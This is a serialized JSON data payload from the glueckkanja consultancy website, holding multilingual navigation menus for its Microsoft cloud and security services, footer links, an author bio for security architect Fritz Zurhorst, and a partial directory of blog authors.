[{"data":1,"prerenderedAt":1755},["ShallowReactive",2],{"global-header":3,"global-footer":772,"author-de-fritz-zurhorst-11e6a2cbe4b79b":810,"authors_data":833,"content-de-fritz-zurhorst":1185,"content-events-de-fritz-zurhorst":1754},{"lang":4,"home":5,"navigation":21,"meta":757,"contact":765},"de",{"folderSwitch":6,"name":9,"imgLight":10,"img":11,"languages":12},[7,8],"authors","blog","home","/logos/gk-Logo-sw.svg","/logos/gk-Logo-rgb.svg",{"de":13,"en":17,"es":19},{"title":14,"url":15,"alias":15,"alt":16},"Home","/de","glueckkanja Logo",{"title":14,"url":18,"alt":16},"/en",{"title":14,"url":20,"alt":16},"/es",[22,195,369,506,611,624],{"name":23,"languages":24,"children":32},"workplace",{"de":25,"en":28,"es":30},{"title":26,"description":27},"Workplace","Microsoft 365-Power für smarte, sichere und flexible Arbeitswelten, die modernste Technologien und Identity Lösungen verbinden.",{"title":26,"description":29},"Microsoft 365-powered for smart, secure, and flexible workspaces, seamlessly integrating cutting-edge technologies and identity services.",{"title":26,"description":31},"Potenciado por Microsoft 365 para espacios de trabajo inteligentes, seguros y flexibles, integrando a la perfección tecnologías de vanguardia y servicios de identidad (en ingles).",[33,81,137],{"name":34,"languages":35,"children":40},"portfolio",{"de":36,"en":38,"es":39},{"title":37},"Portfolio",{"title":37},{"title":37},[41,51,61,71],{"name":42,"languages":43},"managed-intune",{"de":44,"en":47,"es":49},{"title":45,"url":46},"Managed Intune","/de/entra-intune/managed-intune",{"title":45,"url":48},"/en/entra-intune/managed-intune",{"title":45,"url":50},"/es/entra-intune/managed-intune",{"name":52,"languages":53},"managed-entra",{"de":54,"en":57,"es":59},{"title":55,"url":56},"Managed Entra","/de/entra-intune/managed-entra",{"title":55,"url":58},"/en/entra-intune/managed-entra",{"title":55,"url":60},"/es/entra-intune/managed-entra",{"name":62,"languages":63},"managed-workplace",{"de":64,"en":67,"es":69},{"title":65,"url":66},"Managed Workplace","/de/workplace/managed-workplace",{"title":65,"url":68},"/en/workplace/managed-workplace",{"title":65,"url":70},"/es/workplace/managed-workplace",{"name":72,"languages":73},"consulting-services",{"de":74,"en":77,"es":79},{"title":75,"url":76},"Consulting Services","/de/workplace/consulting-services",{"title":75,"url":78},"/en/workplace/consulting-services",{"title":75,"url":80},"/es/workplace/consulting-services",{"name":82,"languages":83,"children":88},"microsoft-365-endpoint",{"de":84,"en":86,"es":87},{"title":85},"Microsoft 365 Endpoint",{"title":85},{"title":85},[89,99,109,119,127],{"name":90,"languages":91},"microsoft-entra-suite",{"de":92,"en":95,"es":97},{"title":93,"url":94},"Microsoft Entra Suite","/de/workplace/microsoft-entra-suite",{"title":93,"url":96},"/en/workplace/microsoft-entra-suite",{"title":93,"url":98},"/es/workplace/microsoft-entra-suite",{"name":100,"languages":101},"microsoft-intune",{"de":102,"en":105,"es":107},{"title":103,"url":104},"Microsoft Intune","/de/workplace/microsoft-intune",{"title":103,"url":106},"/en/workplace/microsoft-intune",{"title":103,"url":108},"/es/workplace/microsoft-intune",{"name":110,"languages":111},"microsoft-windows",{"de":112,"en":115,"es":117},{"title":113,"url":114},"Microsoft Windows","/de/workplace/microsoft-windows",{"title":113,"url":116},"/en/workplace/microsoft-windows",{"title":113,"url":118},"/es/workplace/microsoft-windows",{"name":120,"languages":121},"windows-365-cloud-pc",{"en":122,"es":125},{"title":123,"url":124},"Windows 365 Cloud PC","/en/workplace/windows365-cloud-pc",{"title":123,"url":126},"/es/workplace/windows365-cloud-pc",{"name":128,"languages":129},"cloud-workplace-foundation",{"de":130,"en":133,"es":135},{"title":131,"url":132},"Cloud Workplace Foundation","/de/workplace/cloud-workplace-foundation",{"title":131,"url":134},"/en/workplace/cloud-workplace-foundation",{"title":131,"url":136},"/es/workplace/cloud-workplace-foundation",{"name":138,"languages":139,"children":144},"microsoft-365-collaboration",{"de":140,"en":142,"es":143},{"title":141},"Microsoft 365 Collaboration",{"title":141},{"title":141},[145,155,165,175,185],{"name":146,"languages":147},"microsoft-copilot",{"de":148,"en":151,"es":153},{"title":149,"url":150},"Microsoft 365 Copilot","/de/workplace/microsoft-365-copilot",{"title":149,"url":152},"/en/workplace/microsoft-365-copilot",{"title":149,"url":154},"/es/workplace/microsoft-365-copilot",{"name":156,"languages":157},"microsoft-teams",{"de":158,"en":161,"es":163},{"title":159,"url":160},"Teams","/de/workplace/microsoft-teams",{"title":159,"url":162},"/en/workplace/microsoft-teams",{"title":159,"url":164},"/es/workplace/microsoft-teams",{"name":166,"languages":167},"sharepoint-powerplatform",{"de":168,"en":171,"es":173},{"title":169,"url":170},"SharePoint & Power Platform","/de/workplace/sharepoint-power-platform",{"title":169,"url":172},"/en/workplace/sharepoint-power-platform",{"title":169,"url":174},"/es/workplace/sharepoint-power-platform",{"name":176,"languages":177},"exchange-online",{"de":178,"en":181,"es":183},{"title":179,"url":180},"Exchange Online","/de/workplace/exchange-online",{"title":179,"url":182},"/en/workplace/exchange-online",{"title":179,"url":184},"/es/workplace/exchange-online",{"name":186,"languages":187},"information-protection-compliance",{"de":188,"en":191,"es":193},{"title":189,"url":190},"Information Protection & Compliance","/de/workplace/information-protection-compliance",{"title":189,"url":192},"/en/workplace/information-protection-compliance",{"title":189,"url":194},"/es/workplace/information-protection-compliance",{"name":196,"languages":197,"children":205},"azure",{"de":198,"en":201,"es":203},{"title":199,"description":200},"Azure","Mit Azure Wachstum beflügeln: Cloud-Kosten senken, Effizienz steigern und Innovationen durch IaaS und PaaS vorantreiben.",{"title":199,"description":202},"Fuel growth with Azure: Cut cloud costs, boost efficiency, and drive innovation through IaaS and PaaS.",{"title":199,"description":204},"Impulse el crecimiento con Azure: Reduzca los costes de la nube, aumente la eficiencia e impulse la innovación a través de IaaS y PaaS (en ingles).",[206,233,307],{"name":207,"languages":208,"children":212},"azure-portfolio",{"de":209,"en":210,"es":211},{"title":37},{"title":37},{"title":37},[213,223],{"name":214,"languages":215},"azure-managed-services",{"de":216,"en":219,"es":221},{"title":217,"url":218},"Azure Managed Services","/de/azure/azure-managed-services",{"title":217,"url":220},"/en/azure/azure-managed-services",{"title":217,"url":222},"/es/azure/azure-managed-services",{"name":224,"languages":225},"azure-consulting",{"de":226,"en":229,"es":231},{"title":227,"url":228},"Azure Consulting","/de/azure/azure-consulting",{"title":227,"url":230},"/en/azure/azure-consulting",{"title":227,"url":232},"/es/azure/azure-consulting",{"name":234,"languages":235,"children":241},"azure-scenarios",{"de":236,"en":238,"es":240},{"title":237},"Szenarios",{"title":239},"Scenarios",{"title":239},[242,253,264,275,287,297],{"name":243,"languages":244},"plan-your-cloud",{"de":245,"en":248,"es":251},{"title":246,"url":247},"Planen Sie Ihre Cloud","/de/azure/plan-your-cloud",{"title":249,"url":250},"Plan your Cloud","/en/azure/plan-your-cloud",{"title":249,"url":252},"/es/azure/plan-your-cloud",{"name":254,"languages":255},"migrate-to-the-cloud",{"de":256,"en":259,"es":262},{"title":257,"url":258},"Migriere deine Cloud","/de/azure/migrate-to-the-cloud",{"title":260,"url":261},"Migrate to the cloud","/en/azure/migrate-to-the-cloud",{"title":260,"url":263},"/es/azure/migrate-to-the-cloud",{"name":265,"languages":266},"innovate-your-business",{"de":267,"en":270,"es":273},{"title":268,"url":269},"Erneuere dein Business","/de/azure/innovate-your-business",{"title":271,"url":272},"Innovate your business","/en/azure/innovate-your-business",{"title":271,"url":274},"/es/azure/innovate-your-business",{"name":276,"languages":277},"vmware-exit",{"de":278,"en":281,"es":284},{"title":279,"url":280},"Überdenke deine VMware-Strategie","/de/azure/vmware-exit",{"title":282,"url":283},"Rethink your VMware strategy","/en/azure/vmware-exit",{"title":285,"url":286},"Replantea tu estrategia de VMware","/es/azure/vmware-exit",{"name":288,"languages":289},"azure-cloud-adoption-framework",{"de":290,"en":293,"es":295},{"title":291,"url":292},"Cloud Adoption Framework","/de/azure/cloud-adoption-framework",{"title":291,"url":294},"/en/azure/cloud-adoption-framework",{"title":291,"url":296},"/es/azure/cloud-adoption-framework",{"name":298,"languages":299},"azure-cloud-competence-center",{"de":300,"en":303,"es":305},{"title":301,"url":302},"Cloud Competence Center","/de/azure/cloud-competence-center",{"title":301,"url":304},"/en/azure/cloud-competence-center",{"title":301,"url":306},"/es/azure/cloud-competence-center",{"name":308,"languages":309,"children":314},"azure-practices",{"de":310,"en":312,"es":313},{"title":311},"Practices",{"title":311},{"title":311},[315,325,335,345,354,359],{"name":316,"languages":317},"azure-foundation",{"de":318,"en":321,"es":323},{"title":319,"url":320},"Azure Foundation","/de/azure/azure-foundation",{"title":319,"url":322},"/en/azure/azure-foundation",{"title":319,"url":324},"/es/azure/azure-foundation",{"name":326,"languages":327},"azure-ai-foundation",{"de":328,"en":331,"es":333},{"title":329,"url":330},"Azure AI Foundation","/de/azure/azure-ai-foundation",{"title":329,"url":332},"/en/azure/azure-ai-foundation",{"title":329,"url":334},"/es/azure/azure-ai-foundation",{"name":336,"languages":337},"azure-data-foundation",{"de":338,"en":341,"es":343},{"title":339,"url":340},"Azure Data Foundation","/de/azure/azure-data-foundation",{"title":339,"url":342},"/en/azure/azure-data-foundation",{"title":339,"url":344},"/es/azure/azure-data-foundation",{"name":316,"languages":346},{"de":347,"en":350,"es":352},{"title":348,"url":349},"Azure Container Foundation","/de/azure/azure-container-foundation",{"title":348,"url":351},"/en/azure/azure-container-foundation",{"title":348,"url":353},"/es/azure/azure-container-foundation",{"name":128,"languages":355},{"de":356,"en":357,"es":358},{"title":131,"url":132},{"title":131,"url":134},{"title":131,"url":136},{"name":360,"languages":361},"dark-tenant",{"de":362,"en":365,"es":367},{"title":363,"url":364},"Managed Dark Tenant","/de/azure/managed-dark-tenant",{"title":363,"url":366},"/en/azure/managed-dark-tenant",{"title":363,"url":368},"/es/azure/managed-dark-tenant",{"name":370,"languages":371,"children":388},"security",{"de":372,"en":380,"es":384},{"title":373,"description":374,"emergency":375},"Security","Wachsamkeit in der Cloud mit einem preisgekrönten 24/7 Managed Service, Incident Response und modernstem Schutz für Ihre Infrastruktur.",{"text":376,"href":377,"skin":378,"icon":379},"Under Attack?","/de/security/are-you-under-attack","primary","emergency",{"title":373,"description":381,"emergency":382},"Vigilance in the cloud with an award-winning 24/7 managed service, incident response and state-of-the-art protection for your infrastructure.",{"text":376,"href":383,"skin":378,"icon":379},"/en/security/are-you-under-attack",{"title":373,"description":385,"emergency":386},"Vigilancia en la nube con un galardonado servicio gestionado 24/7, respuesta ante incidentes y protección de vanguardia para su infraestructura (en ingles).",{"text":376,"href":387,"skin":378,"icon":379},"/es/security/are-you-under-attack",[389,418,451],{"name":390,"children":391},"security-security-consulting",[392,402,408],{"name":393,"languages":394},"managed-red-tenant",{"de":395,"en":398,"es":400},{"title":396,"url":397},"Managed Red Tenant","/de/security/managed-red-tenant",{"title":396,"url":399},"/en/security/managed-red-tenant",{"title":396,"url":401},"/es/security/managed-red-tenant",{"name":360,"languages":403},{"de":404,"en":406,"es":407},{"title":405,"url":364},"Dark Tenant",{"title":405,"url":366},{"title":405,"url":368},{"name":409,"languages":410},"security-consulting",{"de":411,"en":414,"es":416},{"title":412,"url":413},"Security Consulting","/de/security/security-consulting",{"title":412,"url":415},"/en/security/security-consulting",{"title":412,"url":417},"/es/security/security-consulting",{"name":419,"children":420},"security-cloud-security-operations-center",[421,431,441],{"name":422,"languages":423},"cloud-security-operations-center",{"de":424,"en":427,"es":429},{"title":425,"url":426},"Cloud Security Operations Center","/de/security/cloud-security-operations-center",{"title":425,"url":428},"/en/security/cloud-security-operations-center",{"title":425,"url":430},"/es/security/cloud-security-operations-center",{"name":432,"languages":433},"global-secure-access",{"de":434,"en":437,"es":439},{"title":435,"url":436},"Global Secure Access","/de/security/global-secure-access",{"title":435,"url":438},"/en/security/global-secure-access",{"title":435,"url":440},"/es/security/global-secure-access",{"name":442,"languages":443},"my-work-id",{"de":444,"en":447,"es":449},{"title":445,"url":446},"MyWorkID","/de/security/my-work-id",{"title":445,"url":448},"/en/security/my-work-id",{"title":445,"url":450},"/es/security/my-work-id",{"name":452,"children":453},"security-preventive-services",[454,464,474,484,496],{"name":455,"languages":456},"preventive-services",{"de":457,"en":460,"es":462},{"title":458,"url":459},"Preventive Services","/de/security/preventive-services",{"title":458,"url":461},"/en/security/preventive-services",{"title":458,"url":463},"/es/security/preventive-services",{"name":465,"languages":466},"data-security-services",{"de":467,"en":470,"es":472},{"title":468,"url":469},"Data Security Service","/de/security/data-security-service",{"title":468,"url":471},"/en/security/data-security-service",{"title":468,"url":473},"/es/security/data-security-service",{"name":475,"languages":476},"security-copilot-agents",{"de":477,"en":480,"es":482},{"title":478,"url":479},"Security Copilot Agents","/de/security/security-copilot-agents",{"title":478,"url":481},"/en/security/security-copilot-agents",{"title":478,"url":483},"/es/security/security-copilot-agents",{"name":485,"languages":486},"nis2",{"de":487,"en":490,"es":493},{"title":488,"url":489},"NIS2 technisch umsetzen","/de/security/red-dark-tenant-nis2",{"title":491,"url":492},"Implementing NIS2","/en/security/red-dark-tenant-nis2",{"title":494,"url":495},"Implementación técnica de NIS2","/es/security/red-dark-tenant-nis2",{"name":497,"languages":498},"sentinel-data-lake",{"de":499,"en":502,"es":504},{"title":500,"url":501},"Sentinel Data Lake","/de/security/sentinel-data-lake",{"title":500,"url":503},"/en/security/sentinel-data-lake",{"title":500,"url":505},"/es/security/sentinel-data-lake",{"name":507,"languages":508,"children":518},"products",{"de":509,"en":512,"es":515},{"title":510,"description":511},"Produkte","Innovative Companion-Produkte für eine vollständig sichere, 100% cloud-native Microsoft-Umgebung, die Zusammenarbeit, Netzwerkauthentifizierung und Softwareverwaltung verbessern.",{"title":513,"description":514},"Products","Innovative companion products for a completely secure, 100% cloud-native Microsoft environment that enhance collaboration, network authentication and software management.",{"title":516,"description":517},"Productos","Innovadores productos complementarios para un entorno Microsoft completamente seguro y 100% nativo de la nube que mejoran la colaboración, la autenticación en red y la gestión del software (en ingles).",[519,572],{"name":520,"products":521,"children":522},"lorem ipsum 1",true,[523,536,548,560],{"name":524,"img":525,"target":526,"languages":527},"realmjoin","products/realmjoin/realmjoin-nav-logo.svg","_blank",{"de":528,"en":532,"es":534},{"title":529,"subtitle":530,"url":531},"RealmJoin","Cloudbasierte Softwareverteilung","https://www.realmjoin.com",{"title":529,"subtitle":533,"url":531},"Cloudbased Software distribution",{"title":529,"subtitle":535,"url":531},"Distribución de software en la nube",{"name":537,"img":538,"target":526,"languages":539},"scepman","products/scepman/scepman-nav-logo.svg",{"de":540,"en":544,"es":546},{"title":541,"subtitle":542,"url":543},"SCEPman","Zertifikatsverteilung aus der Cloud","https://www.scepman.com",{"title":541,"subtitle":545,"url":543},"Certificate distribution from the cloud",{"title":541,"subtitle":547,"url":543},"Distribución de certificados desde la nube",{"name":549,"img":550,"target":526,"languages":551},"konnekt","products/konnekt/konnekt-nav-logo.svg",{"de":552,"en":556,"es":558},{"title":553,"subtitle":554,"url":555},"KONNEKT","Arbeiten Sie lokal mit Ihren Office 365-Daten","https://www.konnekt.io",{"title":553,"subtitle":557,"url":555},"Work with your local office 365 data",{"title":553,"subtitle":559,"url":555},"Trabaje con sus datos locales de office 365",{"name":561,"img":562,"target":526,"languages":563},"realmigrator","products/realmigrator/realmigrator-nav-logo.svg",{"de":564,"en":568,"es":570},{"title":565,"subtitle":566,"url":567},"RealMigrator","Migrieren Sie alle Ihre Datenressourcen","https://www.realmigrator.com",{"title":565,"subtitle":569,"url":567},"Migrate your data from one server to another",{"title":565,"subtitle":571,"url":567},"Migre sus datos de un servidor a otro",{"name":573,"products":521,"children":574},"lorem ipsum 2",[575,587,599],{"name":576,"img":577,"target":526,"languages":578},"terraprovider","products/terraprovider/terraprovider-nav-logo.svg",{"de":579,"en":583,"es":585},{"title":580,"subtitle":581,"url":582},"TerraProvider","Terraform Provider für Microsoft 365","https://www.terraprovider.com",{"title":580,"subtitle":584,"url":582},"Terraform Provider for Microsoft 365",{"title":580,"subtitle":586,"url":582},"Terraform Provider para Microsoft 365",{"name":588,"img":589,"target":526,"languages":590},"radiusaas","products/radius/radius-nav-logo.svg",{"de":591,"en":595,"es":597},{"title":592,"subtitle":593,"url":594},"RADIUSaaS","Authentifizierung für Ihr Netzwerk","https://www.radius-as-a-service.com",{"title":592,"subtitle":596,"url":594},"Authentication for your network",{"title":592,"subtitle":598,"url":594},"Autenticación para su red",{"name":600,"img":601,"target":526,"languages":602},"unifiedcontacts","products/unified-contacts/unifiedcontact-nav-logo.svg",{"de":603,"en":607,"es":609},{"title":604,"subtitle":605,"url":606},"Unified Contacts","Finden Sie alle Ihre Kontakte in Microsoft Teams","https://www.unified-contacts.com",{"title":604,"subtitle":608,"url":606},"Find contacts in Microsoft Teams",{"title":604,"subtitle":610,"url":606},"Buscar contactos en Microsoft Teams",{"name":612,"languages":613},"casestudies",{"de":614,"en":618,"es":621},{"title":615,"description":616,"url":617},"Case Studies","Pionier in der Cloud: Ihr Top-Microsoft-Partner für umfassende Cloud-Lösungen mit einem Blueprint-basierten Ansatz und Infrastructure-as-Code-Expertise.","/de/casestudies",{"title":615,"description":619,"url":620},"Pioneer in the Cloud: Your top Microsoft partner for comprehensive cloud solutions with a Blueprint-based approach and Infrastructure-as-Code expertise.","/en/casestudies",{"title":615,"description":622,"url":623},"Pionero en la Cloud: Su principal socio de Microsoft para soluciones integrales en la nube con un enfoque basado en Blueprint y experiencia en infraestructura como código (en ingles).","/es/casestudies",{"name":625,"languages":626,"children":633},"company",{"de":627,"en":629,"es":631},{"title":628,"description":616},"Unternehmen",{"title":630,"description":619},"Company",{"title":632,"description":622},"Empresa",[634,690,727],{"name":635,"languages":636,"children":643},"company-about-us",{"de":637,"en":639,"es":641},{"title":638},"Über Uns",{"title":640},"About us",{"title":642},"Acerca de nosotros",[644,655,667,679],{"name":645,"languages":646},"company-facts-figures",{"de":647,"en":650,"es":652},{"title":648,"url":649},"Facts & Figures","/de/company/facts-and-figures",{"title":648,"url":651},"/en/company/facts-and-figures",{"title":653,"url":654},"Datos y cifras","/es/company/facts-and-figures",{"name":656,"languages":657},"company-contact",{"de":658,"en":661,"es":664},{"title":659,"url":660},"Kontakt & Standorte","/de/company/contact-and-locations",{"title":662,"url":663},"Contact & Locations","/en/company/contact-and-locations",{"title":665,"url":666},"Contacto y ubicaciones","/es/company/contact-and-locations",{"name":668,"languages":669},"switzerland",{"de":670,"en":673,"es":676},{"title":671,"url":672},"glueckkanja Schweiz","/de/company/switzerland",{"title":674,"url":675}," glueckkanja Switzerland","/en/company/switzerland",{"title":677,"url":678},"glueckkanja Suiza","/es/company/switzerland",{"name":680,"languages":681},"austria",{"de":682,"en":685,"es":688},{"title":683,"url":684},"glueckkanja Österreich","/de/company/austria",{"title":686,"url":687},"glueckkanja Austria","/en/company/austria",{"title":686,"url":689},"/es/company/austria",{"name":691,"languages":692,"children":699},"company-career",{"de":693,"en":695,"es":697},{"title":694},"Karriere",{"title":696},"Career",{"title":698},"Carreras",[700,712,718],{"name":701,"languages":702},"company-career-overview",{"de":703,"en":706,"es":709},{"title":704,"url":705},"Karriere Übersicht","/de/career",{"title":707,"url":708},"Career overview","/en/career",{"title":710,"url":711},"Carrera general","/es/career",{"name":713,"languages":714},"company-young-professionals",{"de":715},{"title":716,"url":717},"Young Professionals","/de/young-professionals",{"name":719,"languages":720},"company-jobs",{"de":721,"en":724},{"title":722,"url":723},"Stellenanzeigen","/de/job-offers",{"title":725,"url":726},"Job offers","/en/job-offers",{"name":728,"languages":729,"children":736},"company-latest",{"de":730,"en":732,"es":734},{"title":731},"Aktuelles",{"title":733},"Latest",{"title":735},"Últimas novedades",[737,747],{"name":738,"languages":739},"company-blog",{"de":740,"en":743,"es":745},{"title":741,"url":742},"Blog","/de/blog",{"title":741,"url":744},"/en/blog",{"title":741,"url":746},"/es/blog",{"name":738,"languages":748},{"de":749,"en":752,"es":754},{"title":750,"url":751},"Events","/de/events",{"title":750,"url":753},"/en/events",{"title":755,"url":756},"Eventos","/es/events",[758],{"name":759,"languages":760},"career-meta",{"de":761,"en":763,"es":764},{"title":694,"url":705,"active":762},false,{"title":696,"url":708,"active":762},{"title":696,"url":711,"active":762},{"languages":766},{"de":767,"en":769,"es":771},{"title":768,"url":660,"active":762},"Kontakt",{"title":770,"url":663,"active":762},"Contact",{"title":770,"url":666,"active":762},{"data":773},{"bgColor":774,"number":775,"mail":776,"brandLogos":777,"logos":778,"links":782,"linksEn":792,"linksEs":801},"var(--color-gk-mid-blue)","+49 69 4005520","info@glueckkanja.com",null,[779],{"img":10,"alt":16,"url":780,"class":781},"index.html","max-w-19rem",[783,786,789],{"title":784,"url":785},"Datenschutz","/de/privacy",{"title":787,"url":788},"Impressum","/de/imprint",{"title":790,"url":791},"No Cookies","/de/cookies",[793,796,799],{"title":794,"url":795},"Privacy","/en/privacy",{"title":797,"url":798},"Imprint","/en/imprint",{"title":790,"url":800},"/en/cookies",[802,804,807],{"title":803,"url":795},"Privacidad",{"title":805,"url":806},"Imprimir","/es/imprint",{"title":808,"url":809},"Sin Cookies","/es/cookies",{"id":811,"title":812,"body":813,"description":819,"extension":824,"meta":825,"name":812,"navigation":521,"otherLanguages":826,"path":829,"seo":830,"stem":831,"__hash__":832},"authors/fritz-zurhorst.md","Fritz Zurhorst",{"type":814,"value":815,"toc":820},"minimal",[816],[817,818,819],"p",{},"Friedemann Zurhorst ist Cyber Security Architect bei glueckkanja. Sein Schwerpunkt liegt auf Identity Security: Er prüft gewachsene Active-Directory-Umgebungen in AD Security Reviews, begleitet Kunden bei der Einführung starker Authentifizierung und klassifiziert Privilegien nach dem Enterprise Access Model, unter anderem in EntraOps-Workshops. Dazu kommen Platform Engineering und die Arbeit am Managed Red Tenant, mit dem glueckkanja Kunden eine sichere administrative Umgebung bereitstellt.",{"title":821,"searchDepth":822,"depth":822,"links":823},"",2,[],"md",{},{"en":827,"es":828},"Friedemann Zurhorst is a Cyber Security Architect at glueckkanja. His focus is identity security. He assesses grown Active Directory environments in AD security reviews, guides customers through the rollout of strong authentication, and classifies privileges along the Enterprise Access Model, among other things in EntraOps workshops. On top of that comes platform engineering as well as work on the Managed Red Tenant, with which glueckkanja provides customers with a secure administrative environment.","Friedemann Zurhorst es Cyber Security Architect en glueckkanja. Su especialidad es la seguridad de identidades. Evalúa entornos de Active Directory que han crecido con los años en AD Security Reviews, acompaña a los clientes en la implantación de una autenticación fuerte y clasifica los privilegios según el Enterprise Access Model, entre otros en los workshops de EntraOps. A ello se suman el platform engineering y el trabajo en el Managed Red Tenant, con el que glueckkanja proporciona a sus clientes un entorno administrativo seguro.","/fritz-zurhorst",{"title":812,"description":819},"fritz-zurhorst","yTWYBuakiVgG0fOBfYGuGElCXJq-aXwGfsL3MRdvuWc",{"id":834,"extension":835,"meta":836,"stem":7,"__hash__":1184},"authors_data/authors.json","json",{"path":837,"Fritz Zurhorst":838,"Alexander Schlindwein":843,"Sophie Luna":849,"Nadine Klein":857,"Karsten Kleinschmidt":863,"Julian Wendt":869,"Holger Bunkradt":874,"Ralf Mania":880,"Oliver Kieselbach":886,"Steffen Schwerdtfeger":892,"Gunnar Winter":900,"Jan Petersen":905,"Thorsten Kunzi":910,"Moritz Pohl":914,"Thorben Pöschus":919,"Christoph Hannebauer":925,"Marco Scheel":929,"Christopher Brumm":934,"Florian Klante":941,"Niklas Bachmann":946,"Nils Krautkrämer":951,"Patrick Treptau":957,"Peter Beckendorf":962,"Patrick Sobau":967,"Jörg Wunderlich":972,"Michael Breither":976,"Christian Kanja":981,"Zeba Hoffmann":987,"Jochen Fröhlich":992,"Jan Geisbauer":996,"Gerrit Reinke":1007,"Christian Kordel":1013,"Stephan Wälde":1017,"Carolin Kanja":1022,"Adrian Ritter":1028,"Marvin Bangert":1033,"Thorsten Pickhan":1039,"Christian Lorenz":1045,"Denis Böhm":1050,"Fabian Bader":1055,"Juan Jose Fernandez Perez":1061,"Mahschid Sayyar":1066,"Benjamin Dassow":1071,"Markus Walschburger":1076,"Jonathan Haist":1081,"Daniel Rohregger":1086,"Thomas Naunheim":1091,"Florian Stöckl":1096,"Pascal Asch":1101,"Markus Kättner":1106,"Anna Ulbricht":1113,"Annette Brauns":1120,"body":1127,"title":1183,"Thorben Poeschus":919,"Nils Krautkraemer":951,"Joerg Wunderlich":972,"Jochen Froehlich":992,"Stephan Waelde":1017,"Denis Boehm":1050,"Florian Stoeckl":1096,"Markus Kaettner":1106},"/authors",{"display_name":812,"avatar":839,"permalink":840,"linkedin":841,"imageOffsetTop":842},"people/people-fritz-zurhorst.png","/authors/fritz-zurhorst","friedemann-z","72%",{"display_name":844,"avatar":845,"permalink":846,"twitter":847,"linkedin":848},"Alexander Schlindwein","people/people-alexander-rudolph.png","/authors/alexander-schlindwein","AlexanderOnIT","schlindwein-alexander",{"display_name":850,"avatar":851,"permalink":852,"twitter":853,"linkedin":854,"imageOffsetLeft":855,"imageOffsetTop":856},"Sophie Luna","people/people-sophie-luna.jpg","/authors/sophie-luna","glueckkanjagab","../company/glueckkanja-gab","58%","67%",{"display_name":858,"avatar":859,"permalink":860,"twitter":861,"linkedin":862,"imageOffsetTop":842},"Nadine Klein","people/people-nadine-kern.png","/authors/nadine-kern","nadineausRT","nadine-kern",{"display_name":864,"avatar":865,"permalink":866,"twitter":867,"linkedin":868},"Karsten Kleinschmidt","people/people-karsten-kleinschmidt.png","/authors/karsten-kleinschmidt","KarstenonIT","karstenkleinschmidt",{"display_name":870,"avatar":871,"permalink":872,"linkedin":873},"Julian Wendt","people/people-julian-wendt.png","/authors/julian-wendt","julian-wendt",{"display_name":875,"avatar":876,"permalink":877,"linkedin":878,"twitter":879},"Holger Bunkradt","people/people-holger-bunkradt.png","/authors/holger-bunkradt","holger-bunkradt-12b5053b","hbunkradt",{"display_name":881,"avatar":882,"permalink":883,"linkedin":884,"twitter":885},"Ralf Mania","people/people-ralf-mania.png","/authors/ralf-mania","ralf-mania-146a2757","RaMa1976",{"display_name":887,"avatar":888,"permalink":889,"linkedin":890,"twitter":891},"Oliver Kieselbach","people/people-oliver-kieselbach.png","/authors/oliver-kieselbach","oliver-kieselbach-a4a3409","okieselbT",{"display_name":893,"avatar":894,"permalink":895,"linkedin":896,"twitter":897,"imageOffsetTop":898,"imageOffsetLeft":899},"Steffen Schwerdtfeger","people/people-steffen-schwerdtfeger.png","/authors/steffen-schwerdtfeger","steffen-schwerdtfeger","SteffenAtCloud","79%","51%",{"display_name":901,"avatar":902,"permalink":903,"twitter":853,"linkedin":904},"Gunnar Winter","people/people-gunnar-winter.jpg","/authors/gunnar-winter","company/glueckkanja-gab",{"display_name":906,"avatar":907,"permalink":908,"twitter":853,"linkedin":909},"Jan Petersen","people/jan-petersen.png","/authors/jan-petersen","jan-petersen-26a901",{"display_name":911,"avatar":912,"permalink":913,"twitter":853,"linkedin":904,"imageOffsetTop":842},"Thorsten Kunzi","people/author-thorsten-kunzi.png","/authors/thorsten-kunzi",{"display_name":915,"avatar":916,"permalink":917,"twitter":853,"linkedin":918},"Dr. Moritz Pohl","people/people-moritz-pohl.png","/authors/moritz-pohl","dr-moritz-pohl",{"display_name":920,"avatar":921,"permalink":922,"twitter":923,"linkedin":924},"Thorben Pöschus","people/thorben.poeschus.png","/authors/thorben-poeschus","TPO901","thorben-pöschus-624693b7",{"display_name":926,"avatar":927,"permalink":928,"twitter":853,"linkedin":904,"imageOffsetTop":842},"Dr. Christoph Hannebauer","people/people-christoph-hannebauer.png","/authors/christoph-hannebauer",{"display_name":930,"avatar":931,"permalink":932,"twitter":933,"linkedin":933},"Marco Scheel","people/people-marco-scheel.png","/authors/marco-scheel","marcoscheel",{"display_name":935,"avatar":936,"permalink":937,"twitter":938,"linkedin":939,"imageOffsetTop":940},"Christopher Brumm","people/people-christopher-brumm.jpg","/authors/christopher-brumm","cbrhh","christopherbrumm","66%",{"display_name":942,"avatar":943,"permalink":944,"linkedin":945,"twitter":853},"Florian Klante","people/florian-klante.jpg","/authors/florian-klante","florian-klante-6031b31b",{"display_name":947,"avatar":948,"permalink":949,"linkedin":950,"twitter":853},"Niklas Bachmann","people/niklas.bachmann.png","/authors/niklas-bachmann","niklas-bachmann-66a863158",{"display_name":952,"avatar":953,"permalink":954,"twitter":955,"linkedin":956},"Nils Krautkrämer","people/nils-krautkraemer.png","/authors/nils-krautkraemer","KrauNils","nils-krautkrämer-8b04bb250",{"display_name":958,"avatar":959,"permalink":960,"linkedin":961,"twitter":853},"Patrick Treptau","people/people-patrick-treptau.png","/authors/patrick-traptau","ptreptau",{"display_name":963,"avatar":964,"permalink":965,"linkedin":966,"twitter":853,"imageOffsetTop":842},"Peter Beckendorf","people/peter-beckendorf.png","/authors/peter-beckendorf","peter-beckendorf-29a239b1",{"display_name":968,"avatar":969,"permalink":970,"linkedin":971,"twitter":853},"Patrick Sobau","people/patrick-sobau.png","/authors/patrick-sobau","patrick-sobau",{"display_name":973,"avatar":974,"permalink":975,"twitter":853},"Jörg Wunderlich","people/joerg-wunderlich.png","/authors/joerg-wunderlich",{"display_name":977,"avatar":978,"permalink":979,"twitter":853,"linkedin":980},"Michael Breither","people/people-michael-breither.jpg","/authors/michael-breither","michaelbreither",{"display_name":982,"avatar":983,"permalink":984,"twitter":985,"linkedin":986},"Christian Kanja","people/people-christian-kanja.png","/authors/christian-kanja","cekageka","christian-kanja",{"display_name":988,"avatar":989,"permalink":990,"linkedin":991,"twitter":853},"Zeba Hoffmann","people/zeba-hoffmann.png","/authors/zeba-hoffmann","zebahoffmann",{"display_name":993,"avatar":994,"permalink":995,"twitter":853,"linkedin":904},"Jochen 